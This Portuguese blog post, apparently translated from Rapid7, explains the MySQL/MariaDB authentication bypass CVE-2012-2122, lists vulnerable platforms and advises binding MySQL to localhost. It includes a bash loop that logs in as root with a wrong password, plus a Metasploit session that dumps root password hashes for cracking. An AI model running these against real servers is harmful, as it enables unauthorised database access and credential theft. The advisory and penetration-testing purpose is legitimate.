segunda-feira, 11 de junho de 2012

CVE-2012-2122: uma falha de segurança Tragicamente Comedica em MySQL


Uma falha de segurança recentemente corrigida ( CVE-2012-2122 ) no MySQL e servidores de banco de dados MariaDB foi introduzida na suposição de que a função memcmp () sempre retornar um valor dentro na faixa de -127 a 127. Em algumas plataformas e com certas otimizações habilitadas, esta rotina pode retornar valores fora deste intervalo, fazendo com que o código que compara um hash de senhas erradas. Uma vez que o protocolo de autenticação gera um hash diferente cada vez que esta comparação é feita, há uma chance de 1 em 256, que QUALQUER senha seja aceita para autenticação.

Em suma, se você tentar autenticar em um servidor MySQL afectados por esta falha, há uma chance de ele aceitar a sua senha mesmo que esteja errada. Abaixo segue uma linha em bash que irá fornecer acesso a um servidor MySQL afetada como a conta de usuário root, sem realmente saber a senha.

for i in `seq 1 1000`; do mysql-u root -password=bad -h 127.0.0.1 2> / dev / null; done;
mysql>


Exploração


Apesar de uma vasta gama de versões do MySQL e MariaDB vulnerável, somente em alguns sistemas operacionais são exploráveis. Tudo se resume a saber se o memcmp () retorna um valor fora da faixa de caracteres não assinados. Segundo Sergei, este não é normalmente o caso, e a rotina é normalmente compilada no servidor como uma função inline. A principal exceção é quando o GCC utiliza a SSE otimização. Joshua Drake , um pesquisador de segurança com Accuvant Labs, forneceu um exemplo de aplicativo que pode determinar se o seu sistema pode ser afetado. Na maioria dos sistemas, os resultados desta aplicação coincidi com o pacote MySQL fornecido pela distribuição, mas a única maneira para ter a certeza é realmente testá-lo.

Até agora, os seguintes sistemas foram confirmados como vulneráveis:
  • Ubuntu Linux 64 bits (10,04, 10,10, 11,04, 11,10, 12,04) (via muitos, incluindo @ michealc )
  • OpenSuSE 12,1 64 bits MySQL 5.5.23-log (via @ michealc )
  • Debian Unstable 64 bits 5.5.23-2 (via @ derickr )
  • Fedora (via hexed   e confirmado pela Red Hat)
  • Arch Linux (versão não especificada)

Comentários até agora indicam que as seguintes plataformas não estão vulneráveis:
  • Builds Oficiais do MySQL e MariaDB (incluindo o Windows)
  • Red Hat Enterprise Linux 4, 5 e 6 (confirmado pela Red Hat)
  • CentOS usando oficial RHEL rpms
  • Ubuntu Linux 32 bits (10,04, 11,10, 12,04, provavelmente todos)
  • Debian Linux 6.0.3 64 bits (versão 14,14 Distrib 5.5.18)
  • Debian Linux lenny 32 bits 5.0.51a-24 + lenny5 (via @ matthewbloch )
  • Debian Linux lenny 64 bits 5.0.51a-24 + lenny5 (via @ matthewbloch )
  • Debian Linux lenny 64 bits 5.1.51-1-log (via @ matthewbloch )
  • Debian aperto Linux de 64 bits 5.1.49-3-log (via @ matthewbloch )
  • Debian Linux aperto 32 bits 5.1.61-0 + squeeze1 (via @ matthewbloch )
  • Debian aperto Linux de 64 bits 5.1.61-0 + squeeze1 (via @ matthewbloch )
  • Gentoo 64 bits 5.1.62-r1 (via @ twit4c )
  • SuSE 9.3 i586 MySQL 4.1.10a (via @ twit4c )
  • OpenIndiana oi_151a4 5.1.37 (via @ TamberP )


A maioria dos fornecedores de Linux devem ter um patch em breve, se não já.


Advertências e Defesa


A primeira regra de segurança MySQL é não expor a rede em geral, em primeiro lugar. A maioria das distribuições Linux permite ao daemon do MySQL conexões para localhost, impedindo o acesso remoto para o serviço. Nos casos em que o acesso à rede devem ser fornecidos, o MySQL também oferece controles de acesso baseados em host. Há poucos casos de uso onde o daemon do MySQL deve ser intencionalmente expostos à rede mais ampla e sem qualquer controle de acesso baseado em host.

Se você é responsável por um servidor MySQL que está exposto à rede desnecessariamente, a melhor coisa a fazer é modificar o arquivo my.cnf, a fim de restringir o acesso ao sistema local. My.cnf pode ser aberto com o editor de sua escolha, procure a seção [mysqld] e mude (ou adicione uma nova linha para definir) o "bind-address" parâmetro para "127.0.0.1". Reinicie o serviço MySQL para aplicar essa configuração.


Se você estiver se aproximando esta questão a partir da perspectiva de um testador de penetração, este será um dos truques mais úteis do MySQL por algum tempo. Uma característica do Metasploit que você deve estar familiarizado é o módulo mysql_hashdump. Este módulo usa um nome conhecido e senha para acessar a tabela de usuário master de um servidor MySQL e armazená-lo em um arquivo. Isto pode ser facilmente quebrado usando uma ferramenta como o John the Ripper, fornecendo senhas em texto-claro que podem proporcionar um maior acesso.

Esta noite, Jonathan Cran (CTO de Pwnie Express e colaborador do Metasploit)  committed um módulo threaded brute-force que explora a falha de autenticação criando automaticamente um dump das senhas do banco de dados. Isso garante que mesmo se a vulnerabilidade for corrigida, você ainda deve ser capaz de acessar o banco de dados usando os hashes de senhas crackeadas. Uma rápida demonstração deste módulo é mostrado abaixo usando o GIT mais recente Metasploit Framework / snapshot SVN.


msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf  auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf  auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf  auxiliary(mysql_authbypass_hashdump) > run

[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Fonte:  https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql

Nenhum comentário:

Postar um comentário